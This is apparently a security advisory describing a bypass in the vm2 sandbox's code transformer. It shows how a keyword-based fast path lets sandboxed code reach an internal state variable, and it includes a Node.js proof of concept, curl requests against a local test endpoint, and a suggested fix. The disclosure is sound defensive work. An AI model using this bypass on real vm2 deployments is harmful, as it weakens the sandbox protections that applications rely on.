Description

vm2's Transformer Fast-Path Bypass Exposes Internal State Variable

Summary

vm2's code transformer has a performance optimization that skips AST analysis when the code does not contain catch, import, or async keywords. This fast-path bypass allows sandboxed code to directly access the internal VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL variable, which exposes internal security functions (handleException, wrapWith, import).

Details

In lib/transformer.js:55-57, a regex check /\b(?:catch|import|async)\b/ determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.

When the fast-path is taken:

INTERNAL_STATE_NAME identifier check is bypassed: The AST visitor that blocks access to VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL never runs

with statement instrumentation is bypassed: with() statements are not wrapped with wrapWith(), enabling scope manipulation

The internal state object exposes: handleException(e), wrapWith(x), import(what)

While these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Access internal state (bypassed — no catch/import/async keywords)
const result = vm.run(`
  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;
  Object.keys(x).join(",")
`);...
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HTTP demonstration:

# Internal state access (bypassed)
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\",\")"}'

# Control test — blocked when catch keyword is present
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \...
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Suggested fix:

// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check
if (!/\b(?:catch|import|async|with)\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {
    return {__proto__: null, code, hasAsync: false};
}

Impact

Security Control Bypass: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.

Defense-in-Depth Violation: Internal security functions are exposed, creating a latent attack surface for future code changes.

Scope: All applications using vm2. No special configuration required.

Mitigation

Aliases

References